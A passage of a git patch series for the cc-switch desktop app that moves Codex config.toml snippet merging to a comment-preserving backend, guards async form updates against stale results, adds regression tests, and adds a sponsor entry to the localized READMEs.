+ Ok(total) + } else { + Err(AppError::Message(format!( + "已导入 {total} 个,部分应用导入失败: {}", + failures.join("; ") + ))) + } + } } diff --git a/src-tauri/tests/mcp_commands.rs b/src-tauri/tests/mcp_commands.rs index 3bcf29e6a..15a30221b 100644 --- a/src-tauri/tests/mcp_commands.rs +++ b/src-tauri/tests/mcp_commands.rs @@ -287,6 +287,56 @@ fn import_mcp_from_claude_invalid_json_preserves_state() { ); } +/// "从应用导入"是 best-effort:单个应用的坏配置文件不阻断其余应用的 +/// 导入,但失败必须聚合上报——历史实现逐应用 `unwrap_or(0)` 吞错, +/// 坏 config.toml 只会表现为"导入成功 0 个",用户无从得知出了什么问题。 +#[test] +fn import_from_all_apps_reports_broken_app_but_imports_the_rest() { + use support::create_test_state; + + let _guard = test_mutex().lock().expect("acquire test mutex"); + reset_test_fs(); + let home = ensure_test_home(); + + // 好的 ~/.claude.json:应正常导入 + let claude_json = json!({ + "mcpServers": { + "alpha": { "type": "stdio", "command": "echo" } + } + }); + fs::write( + get_claude_mcp_path(), + serde_json::to_string_pretty(&claude_json).expect("serialize claude mcp"), + ) + .expect("seed ~/.claude.json"); + + // 坏的 ~/.codex/config.toml:解析必然失败 + let codex_dir = home.join(".codex"); + fs::create_dir_all(&codex_dir).expect("create codex dir"); + fs::write(codex_dir.join("config.toml"), "not = = valid toml") + .expect("seed broken codex config"); + + let state = create_test_state().expect("create test state"); + + let err = McpService::import_from_all_apps(&state) + .expect_err("broken codex config must surface, not be swallowed as zero imports"); + let message = err.to_string(); + assert!( + message.contains("codex"), + "aggregated error should name the failing app, got: {message}" + ); + + // Codex 的失败不阻断 Claude:alpha 应已入库并启用 Claude + let servers = state.db.get_all_mcp_servers().expect("get all mcp servers"); + let entry = servers + .get("alpha") + .expect("claude server imported despite codex failure"); + assert!( + entry.apps.claude, + "imported server should have Claude app enabled" + ); +} + #[test] fn set_mcp_enabled_for_codex_writes_live_config() { let _guard = test_mutex().lock().expect("acquire test mutex"); diff --git a/src/hooks/useMcp.ts b/src/hooks/useMcp.ts index ff9f505fd..d41e7a61d 100644 --- a/src/hooks/useMcp.ts +++ b/src/hooks/useMcp.ts @@ -67,7 +67,9 @@ export function useImportMcpFromApps() { const queryClient = useQueryClient(); return useMutation({ mutationFn: () => mcpApi.importFromApps(), - onSuccess: () => { + // 后端是 best-effort 导入:部分应用失败会返回错误,但其余应用的 + // 服务器已经入库,失败时也要刷新列表。 + onSettled: () => { queryClient.invalidateQueries({ queryKey: ["mcp", "all"] }); }, }); From 88d5ffba44bc613cdcdcb4a241a95250e6944cb6 Mon Sep 17 00:00:00 2001 From: Jason Date: Wed, 8 Jul 2026 22:21:57 +0800 Subject: [PATCH 36/73] fix(codex): move common-config TOML merge off smol-toml to backend toml_edit updateTomlCommonConfigSnippet re-serialized the whole document through smol-toml (parse -> deepMerge -> stringify): comments dropped, keys reordered, and empty parent table headers synthesized -- the long-standing "config.toml keeps getting reordered" symptom (audit C5, introduced in 083e48bf). Replace it with a backend command backed by the same merge_toml_table_like / remove_toml_table_like used when writing live configs, so the form preview and the live write share one merge semantic and user formatting survives edit-time merges. The frontend sync helper is deleted outright to keep the pattern from coming back. Making the form operations async exposes them to interleaving, so a result is discarded unless it is still current when it lands: - a per-hook sequence number (last operation wins) covers rapid toggle/save races where an earlier merge resolves after a later removal and would flip the switch back; - a config-baseline check covers the user hand-editing the TOML while a merge is in flight -- the stale result must not clobber their edit. The checkbox state self-heals via the existing inference effect. Regression tests pin both by resolving a suspended merge after a newer operation / an external edit, plus backend tests locking comment and key-order preservation, scalar override, and value-matched removal. --- src-tauri/src/commands/config.rs | 17 ++ src-tauri/src/lib.rs | 1 + src-tauri/src/services/provider/live.rs | 99 ++++++++++ src-tauri/src/services/provider/mod.rs | 1 + .../forms/CodexCommonConfigModal.tsx | 6 +- .../providers/forms/CodexConfigEditor.tsx | 4 +- .../forms/hooks/useCodexCommonConfig.ts | 183 ++++++++++++------ src/lib/api/config.ts | 23 +++ src/utils/providerConfigUtils.ts | 39 +--- tests/hooks/useCommonConfigSave.test.tsx | 105 +++++++++- 10 files changed, 381 insertions(+), 97 deletions(-) diff --git a/src-tauri/src/commands/config.rs b/src-tauri/src/commands/config.rs index dea8befde..db5b85015 100644 --- a/src-tauri/src/commands/config.rs +++ b/src-tauri/src/commands/config.rs @@ -275,6 +275,23 @@ pub async fn get_common_config_snippet( .map_err(|e| e.to_string()) } +/// 对前端编辑器里的 config.toml 文本做通用配置片段的合并/剥离。 +/// 放后端是为了走 toml_edit(保注释、保键序);前端 smol-toml 的 +/// 整文档重序列化会破坏用户手写格式。 +#[tauri::command] +pub async fn update_toml_common_config_snippet( + config_toml: String, + snippet_toml: String, + enabled: bool, +) -> Result { + crate::services::provider::update_toml_common_config_snippet( + &config_toml, + &snippet_toml, + enabled, + ) + .map_err(|e| e.to_string()) +} + #[tauri::command] pub async fn set_common_config_snippet( app_type: String, diff --git a/src-tauri/src/lib.rs b/src-tauri/src/lib.rs index 38ac49e5c..870d0b771 100644 --- a/src-tauri/src/lib.rs +++ b/src-tauri/src/lib.rs @@ -1215,6 +1215,7 @@ pub fn run() { commands::set_claude_common_config_snippet, commands::get_common_config_snippet, commands::set_common_config_snippet, + commands::update_toml_common_config_snippet, commands::extract_common_config_snippet, commands::read_live_provider_settings, commands::get_settings, diff --git a/src-tauri/src/services/provider/live.rs b/src-tauri/src/services/provider/live.rs index b16024c5e..dde293bd8 100644 --- a/src-tauri/src/services/provider/live.rs +++ b/src-tauri/src/services/provider/live.rs @@ -306,6 +306,40 @@ fn remove_toml_table_like(target: &mut dyn TableLike, source: &dyn TableLike) { } } +/// 前端表单勾选/取消"使用通用配置"时,对编辑器里的 config.toml 文本做 +/// 结构化合并/剥离。必须在后端用 toml_edit 做:前端 smol-toml 只能 +/// parse → merge → 整文档重序列化,注释全丢、键序重排,还会生成多余的 +/// 空父表头(如 `[model_providers]`)。 +pub fn update_toml_common_config_snippet( + config_toml: &str, + snippet_toml: &str, + enabled: bool, +) -> Result { + let trimmed = snippet_toml.trim(); + if trimmed.is_empty() { + return Ok(config_toml.to_string()); + } + + let mut target_doc = if config_toml.trim().is_empty() { + DocumentMut::new() + } else { + config_toml + .parse::() + .map_err(|e| AppError::Message(format!("Invalid Codex config.toml: {e}")))? + }; + let source_doc = trimmed + .parse::() + .map_err(|e| AppError::Message(format!("Invalid Codex common config snippet: {e}")))?; + + if enabled { + merge_toml_table_like(target_doc.as_table_mut(), source_doc.as_table()); + } else { + remove_toml_table_like(target_doc.as_table_mut(), source_doc.as_table()); + } + + Ok(target_doc.to_string()) +} + fn settings_contain_common_config(app_type: &AppType, settings: &Value, snippet: &str) -> bool { let trimmed = snippet.trim(); if trimmed.is_empty() { @@ -1678,6 +1712,71 @@ mod tests { use super::*; use serde_json::json; + /// C5 回归锁:前端表单的合并/剥离必须走 toml_edit 文档模型。 + /// smol-toml 的 parse→merge→stringify 整文档重序列化会丢注释、 + /// 按字母序重排键、并为 dotted 表生成多余的空父表头。 + #[test] + fn update_toml_common_config_snippet_preserves_comments_and_key_order() { + // 刻意非字母序的键序 + 注释,模拟用户手写格式 + let config = r#"# my precious comment +model = "gpt-5.5" +model_provider = "aprov" +disable_response_storage = true + +[model_providers.aprov] +# provider comment +name = "A Prov" +base_url = "https://a.example/v1" +"#; + let snippet = "[tui]\nnotifications = true\n"; + + let merged = update_toml_common_config_snippet(config, snippet, true).unwrap(); + assert!(merged.contains("# my precious comment")); + assert!(merged.contains("# provider comment")); + let model_pos = merged.find("model = ").unwrap(); + let provider_pos = merged.find("model_provider = ").unwrap(); + let disable_pos = merged.find("disable_response_storage").unwrap(); + assert!( + model_pos < provider_pos && provider_pos < disable_pos, + "merge must not reorder user keys, got: {merged}" + ); + assert!(merged.contains("[tui]")); + assert!(merged.contains("notifications = true")); + assert!( + !merged.contains("[model_providers]\n"), + "merge must not synthesize an empty parent table header, got: {merged}" + ); + + let removed = update_toml_common_config_snippet(&merged, snippet, false).unwrap(); + assert!(!removed.contains("[tui]"), "snippet keys must be stripped"); + assert!(removed.contains("# my precious comment")); + assert!(removed.contains("disable_response_storage = true")); + } + + /// 合并时标量=片段覆盖供应商值(与 Claude 侧 deepMerge 一致); + /// 剥离按值匹配:用户改过的值不删(与 strip 路径的 + /// toml_value_is_subset 语义一致)。 + #[test] + fn update_toml_common_config_snippet_scalar_override_and_value_matched_removal() { + let snippet = "[tui]\nnotifications = true\n"; + + let merged = + update_toml_common_config_snippet("[tui]\nnotifications = false\n", snippet, true) + .unwrap(); + assert!( + merged.contains("notifications = true"), + "snippet scalar should override provider value, got: {merged}" + ); + + let removed = + update_toml_common_config_snippet("[tui]\nnotifications = false\n", snippet, false) + .unwrap(); + assert!( + removed.contains("notifications = false"), + "user-modified value must survive removal, got: {removed}" + ); + } + #[test] fn claude_common_config_apply_and_remove_roundtrip_for_non_overlapping_fields() { let settings = json!({ diff --git a/src-tauri/src/services/provider/mod.rs b/src-tauri/src/services/provider/mod.rs index 8a0370a22..8bbec5e33 100644 --- a/src-tauri/src/services/provider/mod.rs +++ b/src-tauri/src/services/provider/mod.rs @@ -25,6 +25,7 @@ pub use live::{ import_default_config, import_hermes_providers_from_live, import_openclaw_providers_from_live, import_opencode_providers_from_live, read_live_settings, should_import_default_config_on_startup, sync_current_to_live, + update_toml_common_config_snippet, }; // Internal re-exports (pub(crate)) diff --git a/src/components/providers/forms/CodexCommonConfigModal.tsx b/src/components/providers/forms/CodexCommonConfigModal.tsx index 0c0207d91..e1ccc6b0b 100644 --- a/src/components/providers/forms/CodexCommonConfigModal.tsx +++ b/src/components/providers/forms/CodexCommonConfigModal.tsx @@ -9,7 +9,7 @@ interface CodexCommonConfigModalProps { isOpen: boolean; onClose: () => void; value: string; - onSave: (value: string) => boolean; + onSave: (value: string) => boolean | Promise; error?: string; onExtract?: () => void; isExtracting?: boolean; @@ -58,8 +58,8 @@ export const CodexCommonConfigModal: React.FC = ({ onClose(); }; - const handleSave = () => { - if (onSave(draftValue)) { + const handleSave = async () => { + if (await onSave(draftValue)) { onClose(); } }; diff --git a/src/components/providers/forms/CodexConfigEditor.tsx b/src/components/providers/forms/CodexConfigEditor.tsx index af458aaa1..86b88b7bf 100644 --- a/src/components/providers/forms/CodexConfigEditor.tsx +++ b/src/components/providers/forms/CodexConfigEditor.tsx @@ -22,11 +22,11 @@ interface CodexConfigEditorProps { useCommonConfig: boolean; - onCommonConfigToggle: (checked: boolean) => void; + onCommonConfigToggle: (checked: boolean) => void | Promise; commonConfigSnippet: string; - onCommonConfigSnippetChange: (value: string) => boolean; + onCommonConfigSnippetChange: (value: string) => boolean | Promise; onCommonConfigErrorClear: () => void; diff --git a/src/components/providers/forms/hooks/useCodexCommonConfig.ts b/src/components/providers/forms/hooks/useCodexCommonConfig.ts index 86c360b46..8fa9a1965 100644 --- a/src/components/providers/forms/hooks/useCodexCommonConfig.ts +++ b/src/components/providers/forms/hooks/useCodexCommonConfig.ts @@ -1,13 +1,31 @@ import { useState, useEffect, useCallback, useRef } from "react"; import { useTranslation } from "react-i18next"; import { parse as parseToml } from "smol-toml"; -import { - updateTomlCommonConfigSnippet, - hasTomlCommonConfigSnippet, -} from "@/utils/providerConfigUtils"; +import { hasTomlCommonConfigSnippet } from "@/utils/providerConfigUtils"; import { configApi } from "@/lib/api"; import { normalizeTomlText } from "@/utils/textNormalization"; +/** + * 合并/剥离通用配置片段(走后端 toml_edit,保注释、保键序)。 + * 失败时返回原文本 + error,调用方据此决定是否回退 UI 状态。 + */ +const applyTomlSnippet = async ( + configToml: string, + snippetToml: string, + enabled: boolean, +): Promise<{ updatedConfig: string; error?: string }> => { + try { + const updatedConfig = await configApi.updateTomlCommonConfigSnippet( + configToml, + snippetToml, + enabled, + ); + return { updatedConfig }; + } catch (e) { + return { updatedConfig: configToml, error: String(e) }; + } +}; + const LEGACY_STORAGE_KEY = "cc-switch:codex-common-config-snippet"; const DEFAULT_CODEX_COMMON_CONFIG_SNIPPET = `# Common Codex config # Add your common TOML configuration here`; @@ -48,6 +66,26 @@ export function useCodexCommonConfig({ const hasInitializedNewMode = useRef(false); // 用于跟踪编辑模式是否已初始化显式开关/预览 const hasInitializedEditMode = useRef(false); + // 后端 TOML 合并是异步的:连续操作(快速点开关、连点保存)可能乱序 + // 返回。每个写 config 的异步操作在发起时领取递增序号,结果落地前 + // 校验自己仍是最新一次;过期结果直接丢弃,保证最后一次操作胜出。 + const tomlOpSeqRef = useRef(0); + // 镜像最新的 codexConfig:用户在编辑器手动改动走父组件 onChange, + // 不经过本 hook(序号不变)。异步结果落地前还要校验发起时的 config + // 基线未被外部改写,否则会覆盖用户在请求在飞期间的手动编辑。 + const latestCodexConfigRef = useRef(codexConfig); + useEffect(() => { + latestCodexConfigRef.current = codexConfig; + }, [codexConfig]); + + // 结果落地前的过期判定:hook 内有更新的操作(序号变了),或发起时的 + // config 基线已被外部改写(用户手动编辑为准)。任一成立即丢弃结果。 + const isTomlOpStale = useCallback( + (seq: number, baseConfig: string) => + seq !== tomlOpSeqRef.current || + baseConfig !== latestCodexConfigRef.current, + [], + ); // 当预设变化时,重置初始化标记,使新预设能够重新触发初始化逻辑 useEffect(() => { @@ -168,25 +206,34 @@ export function useCodexCommonConfig({ // 如果应该启用通用配置但配置中还没有,则自动添加 if (hasCommon && !inferredHasCommon && parsedSnippet.hasContent) { - const { updatedConfig, error } = updateTomlCommonConfigSnippet( - codexConfig, - commonConfigSnippet, - true, - ); - if (error) { - setCommonConfigError(error); - setUseCommonConfig(false); - return; - } + let cancelled = false; + const seq = ++tomlOpSeqRef.current; + (async () => { + const { updatedConfig, error } = await applyTomlSnippet( + codexConfig, + commonConfigSnippet, + true, + ); + if (cancelled || isTomlOpStale(seq, codexConfig)) { + return; + } + if (error) { + setCommonConfigError(error); + setUseCommonConfig(false); + return; + } - setCommonConfigError(""); - setUseCommonConfig(true); - isUpdatingFromCommonConfig.current = true; - onConfigChange(updatedConfig); - setTimeout(() => { - isUpdatingFromCommonConfig.current = false; - }, 0); - return; + setCommonConfigError(""); + setUseCommonConfig(true); + isUpdatingFromCommonConfig.current = true; + onConfigChange(updatedConfig); + setTimeout(() => { + isUpdatingFromCommonConfig.current = false; + }, 0); + })(); + return () => { + cancelled = true; + }; } setCommonConfigError(""); @@ -197,6 +244,7 @@ export function useCodexCommonConfig({ initialData, initialEnabled, isLoading, + isTomlOpStale, onConfigChange, parseCommonConfigSnippet, ]); @@ -221,28 +269,39 @@ export function useCodexCommonConfig({ return; } - const { updatedConfig, error } = updateTomlCommonConfigSnippet( - codexConfig, - commonConfigSnippet, - true, - ); - if (error) { - setCommonConfigError(error); - setUseCommonConfig(false); - return; - } + let cancelled = false; + const seq = ++tomlOpSeqRef.current; + (async () => { + const { updatedConfig, error } = await applyTomlSnippet( + codexConfig, + commonConfigSnippet, + true, + ); + if (cancelled || isTomlOpStale(seq, codexConfig)) { + return; + } + if (error) { + setCommonConfigError(error); + setUseCommonConfig(false); + return; + } - setCommonConfigError(""); - setUseCommonConfig(true); - isUpdatingFromCommonConfig.current = true; - onConfigChange(updatedConfig); - setTimeout(() => { - isUpdatingFromCommonConfig.current = false; - }, 0); + setCommonConfigError(""); + setUseCommonConfig(true); + isUpdatingFromCommonConfig.current = true; + onConfigChange(updatedConfig); + setTimeout(() => { + isUpdatingFromCommonConfig.current = false; + }, 0); + })(); + return () => { + cancelled = true; + }; }, [ initialData, commonConfigSnippet, isLoading, + isTomlOpStale, codexConfig, onConfigChange, parseCommonConfigSnippet, @@ -250,7 +309,10 @@ export function useCodexCommonConfig({ // 处理通用配置开关 const handleCommonConfigToggle = useCallback( - (checked: boolean) => { + async (checked: boolean) => { + // 在同步校验之前领号:即使本次走同步早退分支,也要让更早发出、 + // 仍在飞的异步结果作废,避免它晚到后把开关翻回去。 + const seq = ++tomlOpSeqRef.current; const parsedSnippet = parseCommonConfigSnippet(commonConfigSnippet); if (parsedSnippet.error) { setCommonConfigError(parsedSnippet.error); @@ -267,12 +329,14 @@ export function useCodexCommonConfig({ return; } - const { updatedConfig, error: snippetError } = - updateTomlCommonConfigSnippet( - codexConfig, - commonConfigSnippet, - checked, - ); + const { updatedConfig, error: snippetError } = await applyTomlSnippet( + codexConfig, + commonConfigSnippet, + checked, + ); + if (isTomlOpStale(seq, codexConfig)) { + return; + } if (snippetError) { setCommonConfigError(snippetError); @@ -293,6 +357,7 @@ export function useCodexCommonConfig({ [ codexConfig, commonConfigSnippet, + isTomlOpStale, onConfigChange, parseCommonConfigSnippet, t, @@ -301,7 +366,10 @@ export function useCodexCommonConfig({ // 处理通用配置片段变化 const handleCommonConfigSnippetChange = useCallback( - (value: string): boolean => { + async (value: string): Promise => { + // 与 handleCommonConfigToggle 同一套序号:连续保存或保存与开关 + // 交错时,只允许最后一次操作的结果落地。 + const seq = ++tomlOpSeqRef.current; const previousSnippet = commonConfigSnippet; if (!value.trim()) { @@ -312,11 +380,14 @@ export function useCodexCommonConfig({ let updatedConfig = codexConfig; if (!previousParsed.error && previousParsed.hasContent) { - const removeResult = updateTomlCommonConfigSnippet( + const removeResult = await applyTomlSnippet( codexConfig, previousSnippet, false, ); + if (isTomlOpStale(seq, codexConfig)) { + return false; + } if (removeResult.error) { setCommonConfigError(removeResult.error); return false; @@ -352,11 +423,14 @@ export function useCodexCommonConfig({ const previousParsed = parseCommonConfigSnippet(previousSnippet); if (!previousParsed.error && previousParsed.hasContent) { - const removeResult = updateTomlCommonConfigSnippet( + const removeResult = await applyTomlSnippet( codexConfig, previousSnippet, false, ); + if (isTomlOpStale(seq, codexConfig)) { + return false; + } if (removeResult.error) { setCommonConfigError(removeResult.error); return false; @@ -364,11 +438,11 @@ export function useCodexCommonConfig({ nextConfig = removeResult.updatedConfig; } - const addResult = updateTomlCommonConfigSnippet( - nextConfig, - value, - true, - ); + const addResult = await applyTomlSnippet(nextConfig, value, true); + // nextConfig 派生自发起时的 codexConfig,基线校验仍对 codexConfig 做 + if (isTomlOpStale(seq, codexConfig)) { + return false; + } if (addResult.error) { setCommonConfigError(addResult.error); @@ -400,6 +474,7 @@ export function useCodexCommonConfig({ [ commonConfigSnippet, codexConfig, + isTomlOpStale, onConfigChange, parseCommonConfigSnippet, t, diff --git a/src/lib/api/config.ts b/src/lib/api/config.ts index 1fbbb30cf..900c46ae2 100644 --- a/src/lib/api/config.ts +++ b/src/lib/api/config.ts @@ -48,6 +48,29 @@ export async function setCommonConfigSnippet( return invoke("set_common_config_snippet", { appType, snippet }); } +/** + * 对编辑器里的 config.toml 文本做通用配置片段的合并/剥离 + * + * 合并/剥离在后端用 toml_edit 完成(保注释、保键序);前端 smol-toml + * 的整文档重序列化会破坏用户手写格式,禁止在前端做这类结构化改写。 + * + * @param configToml - 编辑器当前的 config.toml 文本 + * @param snippetToml - 通用配置片段(TOML 字符串) + * @param enabled - true 合并片段,false 按值匹配剥离片段 + * @returns 更新后的 config.toml 文本 + */ +export async function updateTomlCommonConfigSnippet( + configToml: string, + snippetToml: string, + enabled: boolean, +): Promise { + return invoke("update_toml_common_config_snippet", { + configToml, + snippetToml, + enabled, + }); +} + /** * 提取通用配置片段 * diff --git a/src/utils/providerConfigUtils.ts b/src/utils/providerConfigUtils.ts index 16a73a6fe..6ae912822 100644 --- a/src/utils/providerConfigUtils.ts +++ b/src/utils/providerConfigUtils.ts @@ -3,7 +3,7 @@ import type { TemplateValueConfig } from "../config/claudeProviderPresets"; import { deepClone } from "@/utils/deepClone"; import { normalizeTomlText } from "@/utils/textNormalization"; -import { parse as parseToml, stringify as stringifyToml } from "smol-toml"; +import { parse as parseToml } from "smol-toml"; const isPlainObject = (value: unknown): value is Record => { return Object.prototype.toString.call(value) === "[object Object]"; @@ -343,40 +343,9 @@ export const setApiKeyInConfig = ( // ========== TOML Config Utilities ========== -export interface UpdateTomlCommonConfigResult { - updatedConfig: string; - error?: string; -} - -// Write/remove common config snippet to/from TOML config (structural merge) -export const updateTomlCommonConfigSnippet = ( - tomlString: string, - snippetString: string, - enabled: boolean, -): UpdateTomlCommonConfigResult => { - if (!snippetString.trim()) { - return { updatedConfig: tomlString }; - } - - try { - const config = parseToml(normalizeTomlText(tomlString || "")); - const snippet = parseToml(normalizeTomlText(snippetString)); - - if (enabled) { - const merged = deepMerge( - deepClone(config) as Record, - deepClone(snippet) as Record, - ); - return { updatedConfig: stringifyToml(merged) }; - } else { - const result = deepClone(config) as Record; - deepRemove(result, snippet as Record); - return { updatedConfig: stringifyToml(result) }; - } - } catch (e) { - return { updatedConfig: tomlString, error: String(e) }; - } -}; +// TOML 片段的合并/剥离必须走后端命令(configApi.updateTomlCommonConfigSnippet, +// toml_edit 保注释保键序)。禁止在前端用 smol-toml parse→merge→stringify +// 整文档重序列化:注释全丢、键序重排、还会生成多余的空父表头。 // Check if TOML config already contains the common config snippet (structural subset check) export const hasTomlCommonConfigSnippet = ( diff --git a/tests/hooks/useCommonConfigSave.test.tsx b/tests/hooks/useCommonConfigSave.test.tsx index cafe379a3..d8930811e 100644 --- a/tests/hooks/useCommonConfigSave.test.tsx +++ b/tests/hooks/useCommonConfigSave.test.tsx @@ -6,6 +6,7 @@ import { useGeminiCommonConfig } from "@/components/providers/forms/hooks/useGem const getCommonConfigSnippetMock = vi.fn(); const setCommonConfigSnippetMock = vi.fn(); const extractCommonConfigSnippetMock = vi.fn(); +const updateTomlCommonConfigSnippetMock = vi.fn(); vi.mock("@/lib/api", () => ({ configApi: { @@ -15,6 +16,8 @@ vi.mock("@/lib/api", () => ({ setCommonConfigSnippetMock(...args), extractCommonConfigSnippet: (...args: unknown[]) => extractCommonConfigSnippetMock(...args), + updateTomlCommonConfigSnippet: (...args: unknown[]) => + updateTomlCommonConfigSnippetMock(...args), }, })); @@ -23,6 +26,9 @@ describe("common config snippet saving", () => { getCommonConfigSnippetMock.mockResolvedValue(""); setCommonConfigSnippetMock.mockResolvedValue(undefined); extractCommonConfigSnippetMock.mockResolvedValue(""); + updateTomlCommonConfigSnippetMock.mockImplementation( + async (configToml: string) => configToml, + ); }); it("does not persist an invalid Codex common config snippet", async () => { @@ -36,9 +42,9 @@ describe("common config snippet saving", () => { await waitFor(() => expect(result.current.isLoading).toBe(false)); - let saved = false; - act(() => { - saved = result.current.handleCommonConfigSnippetChange( + let saved = true; + await act(async () => { + saved = await result.current.handleCommonConfigSnippetChange( "base_url = https://bad.example/v1", ); }); @@ -49,6 +55,99 @@ describe("common config snippet saving", () => { expect(result.current.commonConfigError).toContain("invalid value"); }); + it("discards stale toggle results when a newer toggle finishes first", async () => { + getCommonConfigSnippetMock.mockResolvedValue( + "[tui]\nnotifications = true\n", + ); + + const onConfigChange = vi.fn(); + const { result } = renderHook(() => + useCodexCommonConfig({ + codexConfig: 'model = "gpt-5"', + onConfigChange, + initialData: { settingsConfig: { config: 'model = "gpt-5"' } }, + initialEnabled: false, + }), + ); + + await waitFor(() => expect(result.current.isLoading).toBe(false)); + await waitFor(() => expect(result.current.useCommonConfig).toBe(false)); + + // 第一次调用(勾选 on 的 merge)挂起,第二次(取消勾选的剥离)立即返回: + // 模拟后端乱序完成 + let resolveMerge: ((value: string) => void) | undefined; + updateTomlCommonConfigSnippetMock + .mockImplementationOnce( + () => + new Promise((resolve) => { + resolveMerge = resolve; + }), + ) + .mockImplementationOnce(async (configToml: string) => configToml); + + await act(async () => { + const mergePending = result.current.handleCommonConfigToggle(true); + const removeDone = result.current.handleCommonConfigToggle(false); + await removeDone; + // on 的合并结果此时才姗姗来迟——必须被序号守卫丢弃 + resolveMerge?.('model = "gpt-5"\n\n[tui]\nnotifications = true\n'); + await mergePending; + }); + + // 用户最后一次操作是 off:过期的 on 结果不得翻转开关或改写配置 + expect(result.current.useCommonConfig).toBe(false); + const lastConfig = onConfigChange.mock.calls.at(-1)?.[0] as string; + expect(lastConfig).not.toContain("[tui]"); + }); + + it("discards async merge results when the user edited the config while in flight", async () => { + getCommonConfigSnippetMock.mockResolvedValue( + "[tui]\nnotifications = true\n", + ); + + const initialData = { settingsConfig: { config: 'model = "gpt-5"' } }; + const onConfigChange = vi.fn(); + const { result, rerender } = renderHook( + ({ config }: { config: string }) => + useCodexCommonConfig({ + codexConfig: config, + onConfigChange, + initialData, + initialEnabled: false, + }), + { initialProps: { config: 'model = "gpt-5"' } }, + ); + + await waitFor(() => expect(result.current.isLoading).toBe(false)); + await waitFor(() => expect(result.current.useCommonConfig).toBe(false)); + + let resolveMerge: ((value: string) => void) | undefined; + updateTomlCommonConfigSnippetMock.mockImplementationOnce( + () => + new Promise((resolve) => { + resolveMerge = resolve; + }), + ); + + let togglePending: Promise = Promise.resolve(); + act(() => { + togglePending = result.current.handleCommonConfigToggle(true); + }); + + // merge 在飞期间,用户在编辑器里手动改了 config(不经过 hook, + // 序号不变,只有 codexConfig prop 变化) + rerender({ config: 'model = "gpt-6-user-edit"' }); + + await act(async () => { + resolveMerge?.('model = "gpt-5"\n\n[tui]\nnotifications = true\n'); + await togglePending; + }); + + // 基于陈旧基线的合并结果必须被丢弃,不得覆盖用户的手动编辑 + expect(onConfigChange).not.toHaveBeenCalled(); + expect(result.current.useCommonConfig).toBe(false); + }); + it("does not persist an invalid Gemini common config snippet", async () => { const onEnvChange = vi.fn(); const { result } = renderHook(() => From ba531ca22275cd28efe74777348ab18d3de71993 Mon Sep 17 00:00:00 2001 From: Jason Date: Wed, 8 Jul 2026 22:44:07 +0800 Subject: [PATCH 37/73] docs(readme): add new-api as a sponsor Add the open-source AI infrastructure project new-api as the latest sponsor entry, appended to the end of the sponsor table across all four localized READMEs (en/zh/ja/de). Includes the banner asset. --- README.md | 5 +++++ README_DE.md | 5 +++++ README_JA.md | 5 +++++ README_ZH.md | 5 +++++ assets/partners/logos/newapi-banner.png | Bin 0 -> 62661 bytes 5 files changed, 20 insertions(+) create mode 100644 assets/partners/logos/newapi-banner.png diff --git a/README.md b/README.md index 70a334134..e82ccd713 100644 --- a/README.md +++ b/README.md @@ -179,6 +179,11 @@ TeamoRouter also offers enterprise features including centralized billing, team Thanks to NekoCode for sponsoring this project! NekoCode provides developers with a stable, efficient, and reliable API relay service for Claude, Codex, and other AI models. With transparent pricing and flexible pay-as-you-go billing, it offers a simple and cost-effective way to access AI models. CC Switch users can enjoy an exclusive 10% discount: register via this link and enter promo code cc-switch during recharge to receive 10% off your top-up! + +new-api +Thanks to the open-source AI infrastructure project new-api for its strong support of this project! new-api is an open-source AI infrastructure project from QuantumNous and one of the leading unified LLM access-and-distribution projects by activity and adoption, focused on helping developers, teams, and enterprises build manageable, scalable AI service platforms at lower cost. As a fellow project rooted in the open-source ecosystem, new-api hopes to sponsor and support the continued growth of more outstanding open-source projects. 🌟 Star new-api to show your support: https://github.com/QuantumNous/new-api. Website: https://www.newapi.ai/. + + diff --git a/README_DE.md b/README_DE.md index 13bd0b8cd..58ee764a1 100644 --- a/README_DE.md +++ b/README_DE.md @@ -179,6 +179,11 @@ TeamoRouter bietet außerdem Enterprise-Funktionen wie zentrale Abrechnung, Team Vielen Dank an NekoCode für die Unterstützung dieses Projekts! NekoCode bietet Entwicklern einen stabilen, effizienten und zuverlässigen API-Relay-Dienst für Claude, Codex und weitere KI-Modelle. Mit transparenter Preisgestaltung und flexibler nutzungsbasierter Abrechnung bietet es einen einfachen und kostengünstigen Zugang zu KI-Modellen. CC-Switch-Nutzer erhalten einen exklusiven Rabatt von 10 %: Registrieren Sie sich über diesen Link und geben Sie beim Aufladen den Gutscheincode cc-switch ein, um 10 % Rabatt auf Ihre Aufladung zu erhalten! + +new-api +Vielen Dank an das Open-Source-KI-Infrastrukturprojekt new-api für die tatkräftige Unterstützung dieses Projekts! new-api ist ein Open-Source-KI-Infrastrukturprojekt von QuantumNous und eines der nach Aktivität und Verbreitung führenden Projekte für den einheitlichen Zugang zu und die Verteilung von LLMs, das sich darauf konzentriert, Entwicklern, Teams und Unternehmen beim Aufbau verwaltbarer und skalierbarer KI-Serviceplattformen zu geringeren Kosten zu helfen. Als ein ebenfalls im Open-Source-Ökosystem verwurzeltes Projekt möchte new-api durch Sponsoring die kontinuierliche Weiterentwicklung weiterer herausragender Open-Source-Projekte unterstützen. 🌟 Unterstützen Sie new-api mit einem Star: https://github.com/QuantumNous/new-api. Website: https://www.newapi.ai/. + + diff --git a/README_JA.md b/README_JA.md index 303c18477..4fa44390e 100644 --- a/README_JA.md +++ b/README_JA.md @@ -179,6 +179,11 @@ TeamoRouter は、集中請求、チーム管理、BYOK、スマートルーテ 本プロジェクトをご支援いただいている NekoCode に感謝します!NekoCode は、Claude や Codex などの AI モデルに対応した、安定性・効率性・信頼性に優れた API 中継サービスを提供しています。料金体系は明瞭で、柔軟な従量課金にも対応しています。CC Switch ユーザー限定の 10%オフ特典:こちらのリンク から登録し、チャージ時にクーポンコード cc-switch を入力すると、チャージが 10%オフになります! + +new-api +オープンソースの AI インフラプロジェクト new-api による本プロジェクトへの多大なご支援に感謝します!new-api は QuantumNous(锟腾科技)が開発したオープンソースの AI インフラプロジェクトであり、活発さと利用規模の面でリードする LLM 統合アクセス・配信プロジェクトの一つで、開発者・チーム・企業がより低コストで管理・拡張可能な AI サービスプラットフォームを構築できるよう支援することに注力しています。同じくオープンソースエコシステムに根ざすプロジェクトとして、new-api はスポンサーシップを通じて、より多くの優れたオープンソースプロジェクトの継続的な発展を支援したいと考えています。🌟 new-api への Star で応援をお願いします:https://github.com/QuantumNous/new-api。公式サイト:https://www.newapi.ai/。 + + diff --git a/README_ZH.md b/README_ZH.md index 1ca6948e8..0bd0a6ac3 100644 --- a/README_ZH.md +++ b/README_ZH.md @@ -180,6 +180,11 @@ TeamoRouter 